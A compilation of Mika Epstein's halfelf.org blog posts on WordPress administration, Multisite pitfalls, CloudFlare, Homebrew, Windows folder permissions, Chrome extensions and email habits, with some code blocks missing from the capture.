[](https://halfelf.org/wp-content/uploads/sites/2/2015/08/projectwonderful.png)
It’s not *bad*, it’s just dated. Also they have downtime a little more than I’d like to see. It used to be bad but now it’s once in a while. The real problem with the downtime is it makes my site slow.
## Review
- Ease of Registration: 4/5
- Ease of use (on WordPress): 3/5
- Ease of use (non WordPress): 3/5
- Customizable: 5/5
- Control: 5/5
- Analytics: 3/5
- Modernity: 2/5
- Revenue: 1/5
I’m still using Project Wonderful, but the revenue certainly is something hard to accept. I stick with it, mostly, because it’s ethically pleasing.
**Categories:** How It Is
**Tags:** advertising, essay, website
---
### [Mailbag: Chocolate Cake is a Need](https://halfelf.org/2015/mailbag-need-cake/)
**Published:** September 11, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Multisite, revenue sharing, categories as subdomains, and more in this week's mailbag!
**Content:**
Adrian in Florida has a long one! I’m going to break it up.
> I watched your presentation about “don’t use WP MU” have decided I shouldn’t use it but wanted to ask your advice on some other things. First I want to start by pointing out re the presentation:
>
> • I noticed that for the Wordpress.com network sites I noticed the WP toolbar does show on the sites giving them away as network sites except for one, Gigaom (perhaps there is a way to remove it?)
>
> • For some of us chocolate cake is a need, not a want.
No, the cake is a want. And I use that example for a reason. We can joke all we want about how we *need* the cake, but fact is this: We *need* food. We *want* treats. If we can be clear in our hearts about needs versus wants, webdev is much simpler. I don’t need coffee. I like it. I can live without it. I don’t want to and choose not to. I can blog without WordPress. I don’t want to. I choose not to. It’s very important to be clear on needs and wants and choices in life in general.
As for turning off the .com toolbar on Gigaom, I noticed when I visit there’s a blip where it shows the space for the toolbar and then it’s gone. So that suggests it’s CSS fixing itself. But the answer is “They’re a VIP customer and probably paid out the nose for that.”
> 1\. I just want to learn one theme/framework to make websites with and not change. I had already paid for Elegant Themes to get Divi which is supposed to be customizable and seems to have good video tutorials, before I saw your recommendation for Studiopress. I don’t know how to tell if I should scrap Divi and pay up again for Studiopress. Would you?
I like Studiopress a great deal. It’s secure, it’s stable, it’s updated responsibly and reasonable, and Andrea Rennick is one of my BFFs. Divi I dislike because of how they handle sessions. But whichever you use is up to you. If you want a free theme to start with, I’d pick up Theme Hybrid. Justin’s code is second to none.
> 2\. I want to be able to make each page in my Wordpress site show up under its own subdomain. I’ve tried a few plugs like “page links to” which doesn’t work. I saw that there are some plugins that do this for categories. Do you know a plugin that enable each page resolve to a subdomain otherwise do you recommend one of the category plugins over another?
This stems from his URL design which is `page.example.com` and … I just wouldn’t. It’s a waste of time and effort and locks you into a categorization that will be insane to unroll later.
Now as a category that’s less weird and you can try one of these plugins:
- https://wordpress.org/plugins/subdomains/
- https://wordpress.org/plugins/main-category-as-subdomain/
- https://wordpress.org/plugins/wp-subdomains-revisited/
I still wouldn’t use Multisite unless you really enjoy logging into a separate site for each post and not having an easy way to cross reference.
> 3\. Is there a plugin out there that allows different people to receive ad revenue for their posts? We have two different writers for one website, each should get ad revenue related to each’s own posts on the same website.
This is actually why I bothered to answer. This is a cool question and I had no idea at all when I first read it.
Turns out, *yes* you totally can have separate ads per author. If you’re using Google AdSense (you didn’t say), then try [Multi Author Adense](https://wordpress.org/plugins/multi-author-adsense/), which looks like you could set the code per author. There’s also [Revenue Share](https://wordpress.org/plugins/revenue-share-plugin-for-authorsrsp/) which may be a little simpler.
Good luck!
**Categories:** How To
**Tags:** advertising, mailbag, plugins, wordpress
---
### [Cookie Free Domains and CDNs](https://halfelf.org/2015/cookie-free-domains/)
**Published:** September 16, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Messing with static locations for static things on a website.
**Content:**
After I [dropped Cloudflare](https://halfelf.org/2015/cloudflare-ends-weirdly) I went back looking at other ways to speed up my site and what could I optimize things. As I mentioned in [Static Content Subdomain](https://halfelf.org/2015/static-content-subdomain/), one of the benefits of that mess was to allow me to have a cookie free domain and, in having a cookie free domain, I basically made a domain that could be used as a CDN for my (mostly) static files.
It was noted then that, if you’re a [non-www person](https://halfelf.org/2012/dont-use-www/), you have to actually use a separate domain. I do. I hate www in URLs. So I picked up a free domain for the site where I’m doing all this: `ex-static.com`. I probably could have gotten it even shorter if I’d tried `sitecdn.net` but that was short enough for me.
Since I already had everything over at `/home/user/public_html/static` I created an add-on domain in cPanel and told it to use that as its home.
Then I ran a search/replace on WordPress:
`wp search-replace static.example.com/wordpress ex-static.com/wp-content/uploadswp option set upload_path /home/example/public_html/static/wp-content/uploads`
Since I’d already changed my media settings, that was all I needed to really run a replace. It changed my media settings too! Since I was planning to move my static content, not just images, I changed the path too, so I had to go back and change `upload_path` as well, but wp-cli is my friend.
Next up, because of the static content move, I copied my `wp-content` folder over and added this to my `wp-config.php`:
Boom. Everything’s where I want it.
Sadly, it got messy for MediaWiki and ZenPhoto. The later doesn’t allow you to move your themes folder at all so I made a symlink to `/home/example/public_html/static/themes/themename/` and called that a day. MediaWiki was a damn dirty lie.
Supposedly you can set this:
As soon as I did that, I got errors all over the place and had to change the directory path back:
Weirdly named, `$IP` is set as follows:
I did the same thing as with ZenPhoto and made a symlink then I could change the style directory.
Lastly (and this was last for a reason) I changed my `.htaccess` rule:
This was last so that I could not break things mid-flight. And I added in this:
Everything works as expected. And? I have cookie free domains and I’m ready to move all my data off to a CDN whenever I’m ready for that step. The CDN would only have to cover the `ex-static.com` domain, to boot!
**Categories:** How To
**Tags:** cdn, development, essay, hosting
---
### [CloudFlare Experiment Ends Weirdly](https://halfelf.org/2015/cloudflare-ends-weirdly/)
**Published:** September 14, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** After five months of CloudFlare, I've turned it off. Unsatisfied.
**Content:**
I ended up turning it all off for one reason only.
I keep getting a 522 error on cloudflare.com.
Now. I have a working theory that it happens when I’m hitting my own site a lot (be it for development or as recently, a lot of traffic I need to reply to), but what would happen is I got an error 522 on my sites. So I’d go to cloudflare.com to whitelist my IP, since their explanation of “This means your site is down” was wrong (site was up, I was ssh’d in at the time), and I’d get a 522 on cloudflare.com.
Let me roll back to August 1st.
That night I went to make some changes on my site to the CSS and, instead of turning on Dev Mode in CloudFlare, I did my thing with Git, pushed my changes, dumped the cache of that CSS file, and was prepared to smile at my glory. Nope! I got a 522. This was odd, since I was currently on the server via SSH and the load on the box was 0.3. Naturally I went to `support.cloudflare.com` to try and see if I’d missed some directions only to get a 522 there as well.
Track that for a second. I got a 522 on CloudFlare’s domain.
The possible answers I could come up with, since I couldn’t read any of their documentation, as either my IP was blocked or the cache server I was proxying through was down. Since I could log into the dashboard for my accounts, I went in and tried to guess how to whitelist my IP. I couldn’t find that, so I opened a support request:
> I can’t access support.cloudflare.com because of 522s. My IP is 172.249.156.169 – Is there any way I can get whitelisted?
I got reply that it was the wrong place to ask, which I don’t think was correct. One of the solutions (per a Google cache of the support page I couldn’t access, hello) said that you could whitelist your IP to see if that helped. Cool. Except I couldn’t get the part of the page to load that told me where and how that was set.
So I asked for support with the dashboard via the dashboard support panel. Instead I got someone telling me I had to open a new ticket. And he was incapable of transferring my ticket or saying “Hey, you can’t access the right support place, let me make a ticket for you! Sorry about that.” It was akin to telling me to email them to tell them my email was down.
I fumed. And then I kept clicking until I found the place to enter my IP. I did and magically CloudFlare started working for me! I quickly went and opened a ticket to complain that I couldn’t have a ticket transferred (or made for me), and suggested this:
> If someone’s logged in via the dashboard and they’re getting a 522 on ALL Cloudflare sites, it’s a logical assumption that something blocked them. But if I can log in, the odds are I’m really me, so that should get an auto-whitelist. If that isn’t possible, can it be detected and alerted? “Hey, we noticed your IP is blocked. Would you like to white list it, since you’ve logged in we can be reasonably sure you’re not an asshat?”
They replied with a standard ‘A 522 means…’ and told me to whitelist their servers on my server firewall. For some reason the email didn’t get to me, so I made a new ticket.
In this ticket, I had to wait until I got another 522 (end of August) and when I sent in my error ID and a screenshot, I was told this:
> This was a timeout between our cache server and the origin server that hosts support.cloudflare.com.
I think he actually meant “Our cache server was down.” because at that time I couldn’t get to *any* CF hosted site until I rebooted my router and got a new IP.
I don’t *really* buy this, though, and I think their IP block is too aggressive. I would run into it all the time when I was at a hotel. I’d be reading comments on my own sites and get blocked. And every single time I got blocked, it was from all of my domains and `cloudflare.com.` Sketchy as hell to me.
When I added in the problem that ‘always up’ actually meant if your site was down they’d put up a CloudFlare page to apologize for the site being down, I decided to turn it off. It clearly wasn’t helping me as much as I’d hoped.
This isn’t to say CloudFlare is terrible and you should never use it, just that it proved to be too frustrating for me to want to use.
**Categories:** How It Is
**Tags:** cdn, development, servers
---
### [It's Not Beer It's Homebrew](https://halfelf.org/2014/its-not-beer-its-homebrew/)
**Published:** May 21, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Homebrew installs the stuff you need that Apple didn’t.
**Content:**
If you’re a rookie getting your hands around all this webdev stuff, and you’re on a Mac, you may have already come to a rude awakening when you find out that, for reasons unknown to man, Mac decided we didn’t need wget.
That’s how I was introduced to Homebrew.
I love wget, because it’s a super simple and fast way to download something. `wget http://wordpress.org/latest.zip` is the fastest way for me to download a zip, and I use it regularly. So one day, when deving code, I realized I needed a plugin. I went to wget it and got a horrible message.
`-bash: wget: command not found`
After searching around, I was about to download, compile, and install wget when a comment on StackExchange said “Try Homebrew.”
Everyone’s dersive comments aside about how ‘real’ programers don’t install packages (seriously people), I said to myself “Ipstenovich,” I said. Yes, I call myself that sometimes. “You use yum to install packages on your server because it’s easier and safer. Why wouldn’t you use the same thing here?” Over to I went and stared at the installer command like a fish.
The call ‘ruby -e’ means “run Ruby and tell it to call this URL externally…” And then it clearly was calling github for an installer. It’s tough to decide to trust a new program but after some serious banging around, I trust the Homebrew.

Once installed, which doesn’t take long at all, I ran the check `brew doctor` which told me a couple things:
1. I’d installed SVN and Git on my own (truth) so I needed to change my .profile (with directions how)
2. I had a half-baked attempt at installing ImageMagick that needed cleaning (with suggestions how)
3. I had MacPorts still in my /opt/ folder, that needed removing (with directions how)
4. I needed to install xcode command line tools (with directions how)
5. xQuartz was out of date
6. I hadn’t updated my brew list in a bajillion years
Most people won’t have that last one. I did once have an older install of Homebrew that I’d never really cleaned up. However the other ones took me about an hour to clean up properly, because I was watching Fargo (the movie) at the time. Once installed and set up, I was able to install wget and upgrade it. Ditto OpenSSL (because Heartbleed, you know). It’s great.
Homebrew is pre-1.0 which means there can and will be issues. Don’t panic, for most of what anyone needs, this is perfect. It’s also good at upgrading when you need to:

The little beer mug is awesome.
One of the nice things about Homebrew is that it doesn’t use (nor advocate the use of) sudo. This is really good for security and makes me feel much safer.
Go forth, rookies, and install Homebrew! It will make your development much happier!
**Categories:** How To
**Tags:** macintosh, open source, software
---
### [Mailbag: Finding A Rogue WordPress Setting](https://halfelf.org/2015/finding-rogue-wordpress-setting/)
**Published:** September 4, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Don't make settings changes without reading what they do!
**Content:**
After helping someone track down a weird WordPress setting, he asked the logical question:
> How did you even find that!?
The issue was that a person was missing the menu option to edit their themes. I asked if they were *also* missing the menu option for editing plugins. As soon as he said yes, I knew it had to be the define to [disable the plugin and theme editor](https://codex.wordpress.org/Editing_wp-config.php#Disable_the_Plugin_and_Theme_Editor):
`define( 'DISALLOW_FILE_EDIT', true );`
That literally says “No editing files!” So we looked first in the `wp-config.php` file for it and came up empty. Now as much as we yell at people for editing `functions.php` or at themes for creating a mess of settings that aren’t needed, I knew the fastest way to find it was this:
And as expected, that gave me a file: `./wp-content/plugins/ninjafirewall/lib/firewall.php`
Since we had wp-cli, I opened that file and looked for the term:
Then I ran this: `wp option get nfw_options`
If you don’t have wp-cli, just pop into the database and look at the option value for `nfw_options` — either way you’ll see this:
I’ve snipped out a lot of the data, but you can see that `disallow_edit` is set to `1`.
We had the user change that setting. Imagine that. It worked!
The moral of the story? Don’t make settings changes without reading what they do!
**Categories:** How To
**Tags:** debug, plugins, wordpress
---
### [Mailbag: Headers Already Sent](https://halfelf.org/2015/mailbag-headers-already-sent/)
**Published:** August 28, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** In which I digress when talking about headers already sent errors.
**Content:**
Yasha from Russia asks for guidance!
> Hi I was searching on ways to resolve get header error in WP and saw your posts, which helped a chap with his website. I am a total beginner and having a nightmare with a divi template I am trying to upload. I have tried a ton of solutions on line and nothing worked. I would be grateful if you could provide me with some guidance. Unfortunately I am not in a position to pay you, but should our path cross I would be happy to offer you a few fine Belgian beers. Thank you in advance
I don’t drink beer (I can’t stand fizzy drinks, I know, it’s tragic).
I have to preface this with the honest truth. I hate Divi Templates. I’ve reached out to them under my company hat a couple times, never heard back, but I cannot stand their theme because of the first line in `header.php` for every single theme I’ve ever seen from them.
Pardon me while I rage flip a table.
Why do I hate this? Sessions aren’t friends with caching. A session is used to store information for a user and have it accessible across all the pages of your website. Cool, right? The problem is a session is also saying “*This* user gets unique content and should have a unique experience.”
Which kinda tells caching, and specifically Varnish caching, to take a long walk. [WPEngine doesn’t allow you to use them because of that](http://wpengine.com/support/cookies-and-php-sessions/).
But all that aside, how *do* you debug that Headers Already Sent?
1. Turn on `wp_debug`
2. Read the error
3. Kill the plugin (or theme) causing it
I hate to say it’s that simple, but it usually is.
That error means the problem is in the theme *applesororanges* and you check by swapping themes.
When you get around to these, it’s a bit messier:
The bit in ‘output started at…’ is a wp-includes folder! It’s unlikely core has bad code, so here you have to turn off *all* the plugins and switch to a default theme. There’s a reason that’s the way we debug, by the way. It’s hands down the fastest way to see if it’s you or not.
If turning off all the plugins fixed it, great. Now turn them back on, one at a time, until you break it again.
Remember! Sometimes it’s the combination of the plugins and theme that caused the problem, so be ready to pick a second best theme or plugin.
**Categories:** How To
**Tags:** debug, mailbag, wordpress
---
### [Don't Use WordPress MultiSite](https://halfelf.org/2011/dont-use-wordpress-multisite/)
**Published:** September 22, 2011
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** There's a time and a place for everything and that's WordPress. But there isn't just one perfect answer to all things! If you use MultiSite, you should be doing it for the right reasons.
**Content:**
*Edit: It’s May 2015 and this post is **still** relevant.*
*I talked about this at WordCamp SF 2013. Check out my [slides](https://helf.us/wcsf2013/ "WordCamp San Francisco – Don’t Use WordPress Multisite") or watch the [video](http://wordpress.tv/2013/08/01/mika-epstein-dont-use-wordpress-multisite/ "WCSF Video: Don’t Use WordPress Multisite").*
I love MultiSite. I think it’s awesome and very helpful when you want to make a network of sites. But more and more I see people doing things where I just tilt my head and wonder *why* they’re using MultiSite for that particular use-case. People seem to think that simply **because** they can use MultiSite that they **should** use it, and this simply is not the case!
MultiSite, either by intention or effect, works best when you think of it as running your very own version of WordPress.com. You have a network of sites that are *disconnected* from each other, data wise, but share the same available user base. That means the only ‘information’ that is shared between two sites is your user ID, and even then, unless you’re explicitly granted access to the site, you’re nothing more than a subscriber. Which is to say you can read the site, and comment.(You could get nitpicky here and point out that there are a lot more things one can do as a subscriber on a site, but you understand the gist.) That means that while there are many perfectly valid reasons for having a MultiSite, it will never be a perfect solution for all people.
One of the best alternatives to MultiSite is Custom Post Types. They let you make ‘subfolder’ additions to your site and format them as you want. There is a drawback, though, in that you cannot use YYYY/MM/DD in your permalinks for them ([Otto on Custom Post Types – wp-testers email list](http://lists.automattic.com/pipermail/wp-testers/2010-May/013010.html)) however I would wonder why people use that anyway these days? The only reason I use YYYY in my URLs is that I believe there’s a date on the usefulness of these posts, and if you come back in five years, you should know how old the information is.
Another alternative is good planning. If you sit down and define your needs for your site **before** you build it out, and plan for the growth you desire, a lot of things become clear. Think about how many different places you’d want to go to maintain your site.
Here are some examples of sites that *should not* be built out as MultiSites:
**To Categorize Posts**
This one comes from my girl, [Andrea](http://ronandandrea.com "New Plugin – WP Grins SSL"), who reminded me of a fellow we ran into who wanted to have one site to post from, and each post would go to a special site based on the category. WordPress *already* has that built in! It’s called, get this, ‘categories.’ Now the user in question said he didn’t want categories because your URL shows up as /category/pemalink, and that wasn’t his desire. So I suggested Custom Post Types. /posttype/name was much better, and he could add in tags as he wanted.
**When Your Site is Homogenous**
Do you want your whole network to look and feel 100% the same? Don’t use MultiSite. If every single subsite is going to be exactly the same, except for content, but the content is all written the same way, you don’t need MultiSite. Replicating the theme and settings on every subsite is a pain, and you can achieve the same result with categories, tags and CPTs. You can even use a membership plugin to control who sees, and has access to, each CPT!([Role Scoper](http://wordpress.org/extend/plugins/role-scoper/) claims to do this, in fact.)
Now someone will point out that this site fails that check! If you notice, three (four, kind of) of the sites look very similar. Same general layout, same links and sidebars, but different headers. This site could have all been done as categories and CPTs, and not needed the multisite until I hit on the children sites like the one for my grandmother. But. When I built it out, I decided to put my tech posts on their own page to separate the writing. They **are** separate sites. What I write here is vastly different from my blog, and that’s important to me. The site has the same ‘feel’ in look alone: the context is what separates us.(And I have a plan for the photo blog.)
**For One Special ‘Thing’**
I’m guilty of this one. I had a site that was a blog, and I wanted to make a ‘video’ section. So I made a MultiSite! Boy was that dumb. Two admin areas, two sections for layout, and I wanted the site to still look like ‘itself.’ I caught a clue later on and converted the whole thing to Custom Post Types! Much easier to maintain! Now I have a smaller, faster, site.
**Users Shouldn’t Know About Each Other (AKA Separate User Databases)**
[Andrew Norcross](http://andrewnorcross.com) pointed this out. If you need users to be on different sites, but not aware that they’re on a network, don’t use MultiSite! Now, yes, there *are* ways around this, however it’s an auditing nightmare for any large company, and a security risk that you should be aware of before you start.
[Curtiss Grymala](http://www.ten-321.com/) points out that if you need totally separate user databases, this is a strong case against MultiSite. Be it for security or just obscurity, if the users need to be separated don’t do it. There are workarounds, but you’ll spend more time on that then updating your sites.
**Hosting Small Client Sites**
I don’t host my Dad’s site, [Woody.com](http://woody.com), even though I maintain it. Why? Because, as
Cristian Antohe said, he just needs a standalone WP install. Would it be easier for me to have one place to go to upgrade him? Yes and no. He’s small, he doesn’t need a lot, and he now owns his domain, his site and his email, all in one place. It costs him $7 a month, plus the number of meals he buys me when we’re in town together, and he’s master of his own domain. This is great for him, because if he fires me, he still has everything. Also, if he does something weird that spikes his traffic 500% (like last month), it doesn’t affect the rest of my sites. Factor that into your budget. Make your client own their own data.
**Users Need To Embed JS Into Posts**
This is *not* a bug, people. Only the Super Admin on a MultiSite install has the access to include iframes, javascript, and other non-oEmbed’d data into posts! You don’t want them to! If you’re running a MultiSite, you’re the big dog, and you’re responsible for limiting their actions to things that won’t take down everyone because they don’t understand what an insecure iframe hack is. Yes, there’s a plugin that will let you allow this. No, I won’t tell you what it us, because unless you’re using a 100% locked down, you approve users you know and trust with your car, site, you do not want to open this door.
If you can’t give them they access they need via shortcodes, then they need to host themselves, or you host them separately. Protect everyone on your network, and don’t give them unregulated access.
**Users Need To Install Themes/Plugins**
Curtiss again reminded me that MultiSite doesn’t let you let your users install themes and plugins as they want. You can, via the use of clever themes that save settings per site (like TwentyEleven) and plugins that allow you to tweak CSS (like [WordPress.com Custom CSS](http://wordpress.org/extend/plugins/safecss/)) give them more customization, but you cannot give them access to install plugins and themes. Why? Because those things will be available to *everyone* on the whole Network.(There are plugins to manage plugins more granularly, and only permit some sites to use certain plugins, but again, this isn’t something everyone on your network should have access to do.) Remember, we’re sharing here!
**Same Post, Every Site**
I keep running into this one. “I want to have the same post pushed to every single site on my network!” I understand why people do this, I just think they’re doing it wrong. It’s not *just* that MultiSite is meant to be separate (aka individual) sites, it’s that you’re diluting your content. The more different places someone can go to in order to get the information you’re providing, they less impact you have because you’ve given them too many options. Decisions. Make one. Also, as Andrea reminded me, identical content in multiple places is something *spammers* do. Google will downgrade your site ranking if you do this.(This doesn’t impact categories, tags and archives because of the use of canonical links.)
")Now, one user said he needed to do this as a business decision, because each of his (mapped) domains was a separate brand. But the separate brands had shared data. So … they’re not actually separate, but children. Me? I’d have everything link the **shared** data back to the **master** brand. McDonalds may sub-brand out happymeal.com (they did!) and make a whole separate site, but if you click on their ‘Privacy’ link, you go **back** to macdonalds.com! Why? Because the **parent** brand is where that stuff belongs.
**BuddyPress Separation**
This comes from Andrea again. If you need to have totally separate BuddyPress installs, use separate installs entirely. Just … y’know, you can do it other ways, but it’s not worth it.
**What else?**
This list could go on and on, so jump in and tell me your reasons why you’d never use MultiSite!
**Categories:** How It Is, How It Works
**Tags:** administration, multisite, wordpress
---
### [Folder Permissions on Windows](https://halfelf.org/2010/folder-permissions-on-windows/)
**Published:** October 14, 2010
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** This solution won't help everyone, but it helped me today. I had to add permissions on a few hundred folders, and I didn't want to do it manually.
**Content:**
 For what it’s worth, they fixed the copy problem and didn’t need my fix, but because it does work, here’s what the drama was.
We’re moving 300 odd folders, all named for the group that uses them, from one server to another. For security, each folder has a windows domain group named ‘IPS-GROUP’ (not really, but you get the idea). Only that domain group has access to the folder. I got a call asking me to reset the permissions on them. Manually. I flipped out for about a minute and bitched on Twitter. Then I sat down to code.
I used DOS because, due to another ongoing project, I’m probably the youngest person this familiar with it in my company. I knew I could do it in \*nix pretty fast with a for loop, and I remembered a snippet of code I had out there for CACLs and I came up with this:
So assuming that all your folders are in `C:\Temp\TEST`, what this does is make a list of all the folders, by name, and spits it into a file. Then you move to the directory and run the for loop, which says that for every line in the doc you made (each line is a folder name, remember), add the group `IPS-foldername` to the permissions with full rights.(You can chose whatever permissions you want. I suggest http://www.computerhope.com/cacls.htm as a resource.)
Now, this ONLY worked because on my server, the folder name and the group names are mostly the same. A couple are not, but the script kicked this out:
```
C:\temp\TEST>CACLS FOO /E /G IPS-FOO:F
No mapping between account names and security IDs was done.
```
That let me go back and manually fix the ten or so that failed.
I hope this helps someone else down the line!
**Categories:** How To
**Tags:** command line, security
---
### [Genericon'd Menus](https://halfelf.org/2013/genericond-menus/)
**Published:** March 31, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Adding Genericons to your menus is easy as it gets.
**Content:**
Quick and dirty, I wanted a menu to have Genericons. Menus are crazy extendible and I use them in sidebars all the time to make a list of links formatted in a nice way. So why not a Genericon? After all, I know menus are really glorified Custom Post Types.
Don’t they look pretty? It’s stupid easy.

**URL:** http://facebook.com/you
**Navigation Label:** ``
**Title Attribute:** Facebook
**CSS Classes (optional):** `social-buttons`
Then all I had to do is fiddle with CSS. `li.social-buttons .genericons` is applicable here, and that’s why I gave it the CSS class. If I wanted to have it be a genericon plus text, then the Navigation Label would have been ` Facebook` instead. If you don’t want the genericon to be part of the link, make the label just the link name, and add `genericon genericon-facebook` to the CSS classes.
**Categories:** How To
**Tags:** css, design, genericons, wordpress
---
### [Extending Chrome](https://halfelf.org/2013/extending-chrome/)
**Published:** November 27, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** For fun, profit, and perhaps a little tweaking of terrible websites, I'm using Chrome Extensions to make the web suit me a little more.
**Content:**
I had a problem.
If you know me at all, you know this is how 99% of my code lessons start. I have a problem I can’t solve easily, so I dig into it and write about it. In this case, my problem was one of those really stupid, messy things where I needed to force some code to run on certain pages and I didn’t have any access to those pages. Why? Well … let’s just say I wanted to make something like [the Hey Girl chrome extension](http://heygirl.io/) okay? Yes, I need an [extension for Google Chrome](http://developer.chrome.com/extensions/index.html).
It doesn’t really matter what you’re making, what matters is how *easy* it is to make a Chrome Extension. It really only needs two files, a `manifest.json` and then your content files. Let me explain by making Google Red.
### Manifest
The [manifest](https://developer.chrome.com/extensions/manifest.html) is where you list what’s in the Extension. It’s going to have the name, summary, what files to call, when and where. A really simple example would be like this:
This is pretty straight forward. Name, description, etc. The value for `manifest_version` has to be the number 2, no quotes, no matter what. This is [mandated by Google](https://developer.chrome.com/extensions/manifest/manifest_version.html). They don’t use it yet, but they will. Then we get to the fun stuff, `content_scripts`, which is also pretty obvious. Using “matches” says “Only run this when the URL matches…” This is an inclusive match. For a different example, here’s an extension I want to run on every website, but *not* when I’m in wp-admin:
You can take this even further and only have it take action at specific actions (like when you make a tab active). The [content\_scripts documentation](https://developer.chrome.com/extensions/content_scripts.html) is pretty overwhelming, but it has all sorts of options. Today, though, saying we want to match just Google’s pages is okay.
In order to do this, I made a blank file called manifest.json and saved it in my ‘Development’ folder called`~/Development/Chrome/extensions/GoogleRed` but this doesn’t actually matter. Save it anywhere on your computer. Just know where it is. I also put blank files for `mystyle.css` and `mystyle.js` in there because they’re my content files! They’re blank, we’ll get to the real code soon.
### Content Files
This is the fun part. The content files are what makes the magic happen and the super cool thing? It’s all basic JS or CSS or HTML. Seriously. Anything you can do in those languages, you can do in an Extesion and call it a day. For example, here’s one I used to strip referrers from URLs on Facebook (I was experimenting):
I set this to only run on Facebook.com and it was exactly what I needed. I admit, there are better JS ways to do this, but I suck at JS still, so this was as far as I got.
### The Example
Google actually already made the files, so you can download them from [Chromium “Make Page Red”](http://src.chromium.org/viewvc/chrome/trunk/src/chrome/common/extensions/docs/examples/api/browserAction/make_page_red/) and toss them in your folder. My files are as follows:
**mainfest.json**
**myscript.js**
That’s it. Two files. But how do I get it installed?
### Adding it to Google Chrome
Go to `chrome://extensions/` in Chrome and you get this kind of view:
[](https://halfelf.org/2013/extending-chrome/chrome-extensions/)
See the box on the upper right? **Developer Mode**? Check it. Now you get extra information!
[](https://halfelf.org/2013/extending-chrome/chrome-extensions-developer/)
What interests us the most here is “Load unpacked extension…” but also that ID code ` jcpmmhaffdebnmkjelaohgjmndeongip` is really important. This tells me where the extension lives on my computer, because I can go to `~/Library/Application Support/Google/Chrome/Profile/Extensions/jcpmmhaffdebnmkjelaohgjmndeongip` and see *all the code* for the other extensions. This makes it super easy for me to fork them. Since this is all just for me, and I have no plans to release them, I’m less worried about licenses than I might be, but I still am in the habit of checking what they are and so should you. Your folder locations will vary depending on your OS, and how many Google Profiles you have (I actually have 3 – me, work, fansite).
Click that “Load unpacked extension…” and select the folder:
[](https://halfelf.org/2013/extending-chrome/upload-2/)
Once you upload it, you get this:
[](https://halfelf.org/2013/extending-chrome/sample-ext/)
Now you know where the file is, but also you get a special link for **Reload (⌘R)** which is a life saver. Click that and any changes you made to your source files are re-installed into Chrome! This is great because Google’s example of making pages redder? Doesn’t work.
Okay, that’s not fair, it does work, just not on every page. It didn’t work on https pages for me until I edited the manifest and changed permissions from `"activeTab"` to `"activeTab", "tabs", "http://*/*", "https://*/*"` and then clicking on the magic button worked:
[](https://halfelf.org/2013/extending-chrome/click-icon/)
It’s kind of nice to be able to bully things around that way.
I’m just dabbling my toes into the Extensions water, and I find it highly powerful to push Chrome into my paths right now. Have you written any extensions?
**Categories:** How To
**Tags:** browser, javascript, plugins
---
### [InBox Insanity](https://halfelf.org/2014/inbox-insanity/)
**Published:** February 21, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** I just don't like that unread message count, hanging over me, staring at me, looking at me... demanding my attention.
**Content:**
I get a lot of emails. I’m usually receiving and sending every hour or so. Most of the time they’re email alerts, sometimes conversations. While I’m a massive unsubsciber of email lists, I filter a lot of my emails into folders, where I’ll leave them unread until I have time, and then I delete them. Oh yes, I’m a member of [Inbox Zero](http://inboxzero.com/).
I started doing the Zero because I wanted to cut down on the stress in my digital life. An unread notification sits there, like a malignant ‘Deal with me!’ eye. And the thing is I do, I will, I always at least read the email. I don’t always reply, but I will read it. But what I don’t need is a five year old kicking my seat asking if we’re there yet.
I’m not patient. I eat my bagels undercooked because if the dang thing isn’t done in the time it takes me to start the toaster, get my cream cheese, make a coffee, and go to the bathroom, then it’s getting eaten as is. I would never be a good chef because I don’t care if every slice and dice is the same, I care about eating. If it’s time to go and you’re dawdling, I hate you. I get annoyed when people can’t budget their time well and thus are always late. It’s a thing, it’s mine, and it’s what it is.
Conversely, when it’s not food, or when its not a specific time event (like “I’ll meet you there between 4 and 5”) then I don’t stress about it. And when it’s email or Twitter, I’m seemingly negligent about serious replies because I may take a long time, and reply to other people frivilously, but in reality I’m thinking about the right reply. I have a couple emails in my drafts at any one point in time because I’m thinking.
It’s funny, I know, that I get upset when people nag me about replying. But I understand that people need processing time, and while I’m terribly impatient when I wait for an email reply from someone (seriously, ask my wife, I’m *really* annoying), I try as hard as I can *NOT* to bother them about it! I may send them a little “Hi” note after a week or so, depending on the issue, but I’m usually asking someone for a special favor in the first place, and I try to respect their boundaries.
Whew. Lots of me me me here!
**Also** I like using desktop applications. I like email apps, and Twitter apps, over in their own thing that I can totally close out and ignore if I need to write or whatever. I’m not tempted to open twitter.com in my browser because I never do it. It’s good for me and my sanity, because I don’t get those ‘gotta clicks.’ The only ones I have in my browser are my RSS reader, Facebook, and Google Plus, none of which annoy me with alerts in my browser (well, not once I forcibly turned off all alerts).
But email and Twitter, being a desktop tool on my Mac, need some settings changes too. Twitter has two places:
[](https://halfelf.org/2014/inbox-insanity/twitter/)
On the first settings page, General, I set my menu bar icon to disabled, so nothing to pester me up there. On the Notifications page, I turn of *nearly* everything. The exceptions are mentions (which I keep as menu, just in case I change my mind… it’s been a month, I suspect not) and messages. Messages are important. Very few people DM me on Twitter, and when they do, it’s probably important or private, so it needs serious attention.
*Nothing else does.*
Email is weirder. How do you turn off the dock? Surprisingly easy. Go into your System Preferences and click on Notifications (first row, last column). In there, I always turn on “Do Not Disturb” settings from 9pm to 7am. If I’m up and coding at that hour, I’m in a zone and leave me alone. Otherwise I’ve left the laptop open, and either way I’m probably not in a mood to talk to people. The last thing I want is more alerts.
Next scroll down to your email app (mine is Postbox) and turn off everything. Uncheck the boxes and set the style to ‘None’ and walk away:
[](https://halfelf.org/2014/inbox-insanity/notifications/)
Boom. No more red number.
Don’t worry, I’m still checking mail.
**Categories:** How To
**Tags:** email, macintosh
---
### [WCSF Video: Don't Use WordPress Multisite](https://halfelf.org/2013/wcsf-video-dont-use-wordpress-multisite/)
**Published:** August 1, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Guess who is up on WPTV now?
**Content:**
\[wpvideo LYqducp0 width=”800″\]
